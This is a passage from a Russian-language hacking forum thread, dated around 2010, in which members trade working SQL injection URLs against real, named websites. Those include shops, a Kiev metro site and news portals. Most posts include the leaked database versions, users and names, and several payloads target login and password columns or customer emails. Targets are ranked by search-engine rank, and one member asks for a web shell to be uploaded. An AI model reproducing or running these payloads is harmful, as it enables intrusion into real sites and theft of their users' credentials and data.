SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. JohnnyBGoode

    JohnnyBGoode Member

    Joined:
    5 Oct 2010
    Messages:
    48
    Likes Received:
    11
    Reputations:
    5
    http://nyx.su/index.php?do=out&id=195599+or+1+group+by+concat((select+concat(version(),0x3a,user(),0x3a)),floor(rand(0)*2))+having+avg(0)+--+

    5.0.90:vacond_wp@localhost
     
  2. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://www.krost.ru/index.php?id=91&dep=&krost_news=97+and+1=0+UnIon+selECt+1,2,file_priv,4,5,6,7,8,9+from+mysql.user+where+user='alexey1'+--+
    ТИЦ : 275


    http://www.ock.ru/news/?lang=rus&id=133'+and+1=0+union+Select+1,2,3,version(),5,6,7,8+--+
    ТИЦ : 140 PR: 3
     
    2 people like this.
  3. Lasteeck

    Lasteeck *ersguterjunge*

    Joined:
    5 Apr 2010
    Messages:
    172
    Likes Received:
    109
    Reputations:
    6
    http://www.hiddenmickeysguide.com/catalog.php?id=14+and+1=0+union+select+concat_ws%280x3a,username,password%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users--

    /wp-admin
     
    #13323 Lasteeck, 4 Nov 2010
    Last edited by a moderator: 4 Nov 2010
  4. auth_root

    auth_root Member

    Joined:
    31 Jan 2010
    Messages:
    17
    Likes Received:
    10
    Reputations:
    0
    Сексшоп. На серваке ещё куча всего интересного. Админов оповестил, поэтому пока не закрыли баг не убивайте плз. ресурс. Чисто для ознакомления. Будьте людьми, уважайте чужой труд.
    Тем более это уголовно наказуемо.

    http://www.annaspansextoys.com/detail.php?addtocart=8&id=8/**/and/**/1=0/**//*!union*/+/*!select*/+1,2,3,4,5,count(email),7,8,9,10,11,12,13,14+from+memberitems--+

    Версия пятая.
     
  5. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://www.sice.ru/news.phtml?id=483+and+1=0+union+selECt+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12+from+information_schema.tables+Where+table_schema=0x73696365776562+--+
    ТИЦ : 750 PR: 1

    http://platformasoft.ru/news.php?id=19'+and+1=0+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6+from+users+--+
    PR: 1
     
    2 people like this.
  6. KandidaT'S

    KandidaT'S New Member

    Joined:
    9 Jul 2010
    Messages:
    58
    Likes Received:
    3
    Reputations:
    0
    http://www.ontariocountydev.org/directoryDetailPrinter.php?id=298-56+union+select+1,concat_ws%28version%28%29,user%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15--
    http://www.freebooknotes.com/book.php3?id=346645645654654656+union+select+1,concat_ws(version(),user()),3 ,4,5,6,7,8,9,10,11--
    http://www.pep.ph/podcast.php?id=184-999.9+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws%28version%28%29,user%28%29%29,12,13--
    http://mind.textdriven.com/db/record.php?ID=9394-999.9+union+select+1,concat_ws%28version%28%29,user%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15--
     
    #13326 KandidaT'S, 4 Nov 2010
    Last edited: 4 Nov 2010
  7. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.presscom.kiev.ua/?page=news&nid=-580+union+all+select+1,2,3,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),5,6,7,8--
    4.1.22-log u_presscom@localhost presscom pc-linux-gnu
     
    1 person likes this.
  8. ubi

    ubi Elder - Старейшина

    Joined:
    25 Dec 2009
    Messages:
    308
    Likes Received:
    76
    Reputations:
    19
    http://letterboxdvd.co.uk/cart.php?m=features&id=-15+Union+Select+1,2,@@version,4,5,6,7
     
  9. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    [​IMG]

    http://003.saratov.ru/podrubr.php?idr=95&gsn=-93+and+1=2+union+select+concat(@@version,0x20,user(),0x20,database(),0x20,@@version_compile_os)+--

    5.0.90-log [email protected] 003 portbld-freebsd8.0

    http://003.saratov.ru/podrubr.php?idr=95&gsn=-93+and+1=2+union+select+concat_ws(0x3a,login,pass)+from+users+limit+0,1+--
     
    1 person likes this.
  10. EoGeneo

    EoGeneo Member

    Joined:
    29 Aug 2009
    Messages:
    127
    Likes Received:
    9
    Reputations:
    1
    http://baseclub.ru/music.php?id=-6+union+select+1,2,concat_ws(0x3a,id,Password,Email),4,5+From+userbase--

    Буду благодарен если кто зальёт шшелку.
     
  11. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    http://www.soud.ru/foto/?id=-249+union+select+1,2,3,4,5,6,7,@@version+--+
    ТИЦ 700
     
    1 person likes this.
  12. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://www.neptun.spb.ru/news/readnews.html?id=119'+and+1=0+UnIon+selECt+1,2,3,4,5,group_concat(table_name+separator+0x3c62723e),7,8,9+from+information_schema.tables+where+table_schema=0x6e657074756e31+--+
    ТИЦ : 160
     
  13. Cirno

    Cirno New Member

    Joined:
    12 May 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Code:
    http://www.itvarnews.net/news.php?j=99999+UNION+SELECT+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7--
    Version: 5.0.91-community
    Database: itvarnew_itvarnews
    User: itvarnew_dbuser@localhost
    PR 4, DMOZ
     
  14. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    http://city-library.uz.ua/kniga.php?id=-6+union+select+1,group_concat(0x0b,log,0x3a,pass)+from+user-- МЕГА ДИЗАЙН...

    http://www.metropoliten.kiev.ua/cars/train.php?id=3+and+1=0+union+select+1,2,group_concat(0x0b,user,0x3a,password),4,5,6,7,8,9+from+mysql.user--

    Метрополитен Киева Тиц 300

    http://www.pro-passivhaus.com/index.php?page=22&lang=-1+or+(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+version()),1),floor(rand(0)*2)))--

    Тиц 50

    http://www.obogrev.ru/page.php?id=-22+union+select+group_concat(0x0b,table_name),2+from+information_schema.tables--

    Тиц 200

    http://www.procctv.ru/page.php?id=-469+union+select+1,group_concat(0x0b,login,0x3a,password)+from+users--

    Тиц 180

    http://www.banketpiter.ru/index.php?item=-124+or+(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+version()),1),floor(rand(0)*2)))--
     
    #13334 Bramin, 5 Nov 2010
    Last edited: 6 Nov 2010
    3 people like this.
  15. JohnnyBGoode

    JohnnyBGoode Member

    Joined:
    5 Oct 2010
    Messages:
    48
    Likes Received:
    11
    Reputations:
    5
    http://www.trancefan.ru/view_post.php?id=-535'+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8+--+

    Database: Deffa_trance
    Version:5.0.84-percona-highperf-b18
    User: [email protected]

    http://www.annihilatormetal.com/index.php?page=1'+and+1=2+union+select+concat_ws(0x3a,database(),version(),user())+--+

    Database:mediaforce
    Version:5.1.39-log
    User:[email protected]

    http://debbie-harry.ru/page.php?id=-575'+union+select+1,group_concat(database(),0x3a,version(),0x3a,user())+--+

    Database:karakovski_frozen
    Version:5.1.47-rel11.2-log
    User:karakovski@localhost
     
    #13335 JohnnyBGoode, 5 Nov 2010
    Last edited: 5 Nov 2010
    1 person likes this.
  16. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    www.scinsnews.com PR-5

    Code:
    http://www.scinsnews.com/newsroom_detail.php?newsID=-383+union+select+1,2,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,4,5,6,7,8,9,10,11,12,13,14,15,16+--+
    Code:
    4.1.22-standard:scinsnew_admin@localhost:scinsnew_database

    www.websmartconsulting.com PR-5

    Code:
    http://www.websmartconsulting.com/portfolio_profile.php?ClientID=-87+union+select+1,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24+--+
    Code:
    5.1.35:[email protected]:websmart

    www.abca.on.ca PR-5

    Code:
    http://www.abca.on.ca/newsfull.php?NewsID=-168+union+select+1,2,3,4,5,6,7,8,9,0,11,concat_ws(0x3a,version(),user(),database()),13,14,15,16,17,18+--+
    Code:
    4.1.20:abcabase@localhost:ausablebayfield

    www.debtontario.com PR-5

    Code:
    http://www.debtontario.com/article.php?ArticleID=-8+union+select+1,2,3,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,5,6,7,8,9+--+
    Code:
    4.1.20:hpdata6@localhost:hpfscredit
     
    2 people like this.
  17. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    Code:
    http://www.greenmountgarden.co.uk/factsheet/factsheet.php?fact_id=16-999.9+union+select+1,2,3,4,concat%280x3a,version%28%29,database%28%29,user%28%29%29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
    [email protected]


    Code:
    http://www.ipublishcentral.com/news_detail.php?id=50-999.9+union+select+1,2,3,concat%280x3a,version%28%29,database%28%29,user%28%29%29,5,6,7,8,9--
    [email protected]
     
    #13337 bloodAngel, 6 Nov 2010
    Last edited by a moderator: 6 Nov 2010
    1 person likes this.
  18. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Немецкий шоп
    Code:
    http://www.insideoutshop.de/product_info.php?products_id=2246%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20%28SELECT%20concat%280x7e,0x27,customers_password.customers_email,0x27,0x7e%29%20FROM%20%60insideout_osc_shop%60.customers_password%20LIMIT%203,1%29%20%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1
     
    #13338 moodoone, 6 Nov 2010
    Last edited by a moderator: 6 Nov 2010
    2 people like this.
  19. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.tyres4wheels.ru/basket/?action=1&addg=4939;select+null,version()::int,null+from+pg_user--
     
    _________________________
    2 people like this.
  20. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Code:
    http://www.noisehead.com/artist/nh_artist.php?artist_id=1+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),2--
    Database Version: 5.0.77-log
    Database name: nhGeek
    User name: nhGeek@localhost

    Code:
    http://www.edbydesign.com/storyteller-page.php?ID=100-99.9+UNION+SELECT+CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),2,3,4,5,6,7,8,9,10,11--
    Database Version: 5.0.83-community
    Database name: edbydesign
    User name: ebd@localhost
     
    #13340 HellFire, 7 Nov 2010
    Last edited: 7 Nov 2010
    1 person likes this.
Thread Status:
Not open for further replies.